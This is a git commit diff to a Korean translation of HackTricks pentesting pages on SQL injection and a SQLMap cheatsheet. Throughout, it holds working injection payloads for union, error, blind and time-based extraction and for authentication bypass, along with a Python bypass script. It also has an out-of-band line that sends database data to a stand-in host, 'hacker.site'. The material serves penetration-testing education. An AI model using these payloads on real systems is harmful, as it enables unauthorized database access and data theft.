mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq
This commit is contained in:
parent
2b634a231c
commit
f67110abc2
4 changed files with 79 additions and 79 deletions
|
@ -630,7 +630,7 @@
|
|||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
|
|
@ -23,12 +23,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## SQL 인젝션이란 무엇인가?
|
||||
|
||||
**SQL 인젝션**은 공격자가 애플리케이션의 데이터베이스 쿼리에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 **보지 못해야 할** 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정** 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
|
||||
**SQL 인젝션**은 공격자가 애플리케이션의 데이터베이스 쿼리에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 **보지 못해야 할** 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 할 수 있습니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
|
||||
|
||||
|
||||
## 진입점 탐지
|
||||
|
||||
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터 주입 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별해야 합니다.
|
||||
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터 주입 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다.
|
||||
다음은 유용한 몇 가지 예입니다:
|
||||
```
|
||||
[Nothing]
|
||||
|
@ -42,7 +42,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
"))
|
||||
`))
|
||||
```
|
||||
그런 다음, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
|
||||
그럼, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
|
||||
|
||||
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
|
||||
|
||||
|
@ -76,7 +76,7 @@ HQL does not support comments
|
|||
|
||||
SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수가 `?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
|
||||
|
||||
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1`과 `?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
|
||||
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1`과 `?id=2-1`에 접근했을 때 동일한 결과가 나온다면, 이는 SQL 인젝션을 나타냅니다.
|
||||
|
||||
논리 연산 확인을 보여주는 예:
|
||||
```
|
||||
|
@ -91,7 +91,7 @@ page.asp?id=1 and 1=2 -- results in false
|
|||
|
||||
### 타이밍으로 확인하기
|
||||
|
||||
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL injections**를 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 **영향을 미치는 시간**을 만드는 것입니다.\
|
||||
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션**을 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 **시간에 영향을 미치게 하는 것입니다**.\
|
||||
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
|
@ -158,15 +158,15 @@ SQLite
|
|||
|
||||
## 유니온 기반 악용
|
||||
|
||||
### 열의 수 감지
|
||||
### 열 수 감지하기
|
||||
|
||||
쿼리의 출력을 볼 수 있다면 이것이 가장 좋은 악용 방법입니다.\
|
||||
우선, **초기 요청**이 반환하는 **열의 수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
|
||||
우선, **초기 요청**이 반환하는 **열**의 **수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
|
||||
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
쿼리의 열 수를 결정하기 위해 **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
|
||||
쿼리의 열 수를 결정하기 위해, **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -184,17 +184,17 @@ SQLite
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
쿼리가 올바를 때까지 더 많은 null 값을 선택하십시오:
|
||||
쿼리가 올바를 때까지 더 많은 null 값을 선택하세요:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_`null` 값을 사용해야 합니다. 경우에 따라 쿼리 양쪽의 열 유형이 동일해야 하며 null은 모든 경우에 유효합니다._
|
||||
_쿼리 양쪽의 열 유형이 동일해야 하는 경우가 있으므로 `null` 값을 사용해야 하며, null은 모든 경우에 유효합니다._
|
||||
|
||||
### 데이터베이스 이름, 테이블 이름 및 열 이름 추출
|
||||
|
||||
다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:
|
||||
다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색할 것입니다:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
|
@ -209,13 +209,13 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
|
|||
|
||||
## 숨겨진 유니온 기반 활용
|
||||
|
||||
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.
|
||||
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 경우, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.
|
||||
|
||||
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
|
||||
|
||||
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
|
||||
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 페이로드에 유니온 쿼리를 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
|
||||
|
||||
더 포괄적인 통찰력을 원하시면 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)에서 제공되는 전체 기사를 참조하세요.
|
||||
더 포괄적인 통찰력을 원하시면 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)에서 전체 기사를 참조하세요.
|
||||
|
||||
## 오류 기반 활용
|
||||
|
||||
|
@ -224,9 +224,9 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
|
|||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Blind SQLi 활용하기
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지의 내용이 다르기 때문에 이를 **구별**할 수 있습니다.\
|
||||
이 경우 쿼리의 결과나 오류를 볼 수 없지만, 쿼리가 **true** 또는 **false** 응답을 **return**할 때 페이지의 내용이 다르기 때문에 구분할 수 있습니다.\
|
||||
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
|
@ -239,7 +239,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
|||
```
|
||||
## 시간 기반 SQLi 활용
|
||||
|
||||
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나, 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 사용하여 SQLi 취약점 확인](./#confirming-with-timing)하는 이 기술을 이전에 보았습니다.
|
||||
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구분**할 수 있는 방법이 **없습니다**. 하지만, 추측한 문자가 맞다면 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 사용하여 SQLi 취약점 확인](./#confirming-with-timing)하는 이 기술을 이전에 보았습니다.
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
|
@ -251,7 +251,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
|||
|
||||
## Out of band Exploitation
|
||||
|
||||
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스가** 정보를 **당신이 제어하는 외부 호스트**로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스가** 정보를 **외부 호스트**로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
|
@ -261,11 +261,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```
|
||||
## 자동화된 악용
|
||||
|
||||
[**sqlmap**](https://github.com/sqlmapproject/sqlmap)을 사용하여 SQLi 취약점을 악용하려면 [SQLMap Cheetsheat](sqlmap/)를 확인하세요.
|
||||
[**sqlmap**](https://github.com/sqlmapproject/sqlmap)을 사용하여 SQLi 취약점을 악용하는 방법은 [SQLMap Cheatsheet](sqlmap/)를 확인하세요.
|
||||
|
||||
## 기술별 정보
|
||||
|
||||
우리는 이미 SQL Injection 취약점을 악용하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
|
||||
SQL Injection 취약점을 악용하는 모든 방법에 대해 이미 논의했습니다. 이 책에서 데이터베이스 기술에 따라 몇 가지 더 많은 트릭을 찾아보세요:
|
||||
|
||||
* [MS Access](ms-access-sql-injection.md)
|
||||
* [MSSQL](mssql-injection.md)
|
||||
|
@ -273,7 +273,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
* [Oracle](oracle-injection.md)
|
||||
* [PostgreSQL](postgresql-injection/)
|
||||
|
||||
또는 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
|
||||
또한 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
|
||||
|
||||
|
||||
|
||||
|
@ -295,7 +295,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
이 쿼리는 인증 검사에서 원시 출력을 위해 true와 함께 MD5가 사용될 때의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.
|
||||
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 발생하는 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이로 인해 무단 접근이 발생할 수 있습니다.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
|
@ -328,7 +328,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
|||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### 폴리글롯 인젝션 (다중 컨텍스트)
|
||||
### 다중 컨텍스트 주입 (Polyglot injection)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
|
@ -336,7 +336,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
||||
### 기존 객체/사용자의 비밀번호 수정
|
||||
|
||||
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 **생성**하려고 시도해야 합니다 (사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정하여:
|
||||
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 **생성**하려고 시도해야 합니다(사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정하여:
|
||||
|
||||
* 이름이 **AdMIn**인 사용자 생성 (대문자 및 소문자 혼합)
|
||||
* 이름이 **admin=**인 사용자 생성
|
||||
|
@ -344,17 +344,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하려면: "_admin \[30 공백] a_"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보세요.
|
||||
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하고 싶다면: "_admin \[30 공백] a_"라는 사용자 이름을 생성해 보십시오. 그리고 아무 비밀번호나 입력합니다.
|
||||
|
||||
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **최대 허용 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 **자동으로 끝의 모든 공백을 제거하여** 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
|
||||
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **허용된 최대 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 **자동으로 모든 공백을 제거**합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
|
||||
|
||||
자세한 정보: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는 다음을 참조하세요: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 점에 대한 더 많은 정보는 다음을 확인하십시오: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### MySQL Insert 시간 기반 검사
|
||||
|
||||
VALUES 문을 종료하기 위해 필요한 만큼 `','',''`를 추가하세요. 지연이 실행되면 SQLInjection이 있습니다.
|
||||
VALUES 문을 종료하기 위해 필요한 만큼 `','',''`를 추가하십시오. 지연이 발생하면 SQLInjection이 있는 것입니다.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
|
@ -414,7 +414,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하는 것이 아니라, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
```
|
||||
|
@ -526,7 +526,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# SQLMap - 치트시트
|
||||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -21,7 +21,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## SQLmap의 기본 인수
|
||||
## SQLmap을 위한 기본 인수
|
||||
|
||||
### 일반
|
||||
```bash
|
||||
|
@ -142,7 +142,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### 부울 주입 찾기 도움말
|
||||
### 불리언 인젝션 찾기 도움말
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
|
@ -156,56 +156,56 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. |
|
||||
| apostrophemask.py | 아포스트로프 문자를 UTF-8 전체 폭 대응 문자로 교체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로프 문자를 불법적인 이중 유니코드 대응 문자로 교체합니다. |
|
||||
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
|
||||
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
|
||||
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
|
||||
| escapequotes.py | 따옴표 (' 및 ")를 슬래시로 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 교체합니다. |
|
||||
| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 교체합니다. 이후 '=' 문자를 LIKE 연산자로 교체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 교체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 교체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 교체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 교체합니다. |
|
||||
| escapequotes.py | 슬래시로 인용부호 ('와 ")를 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 교체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
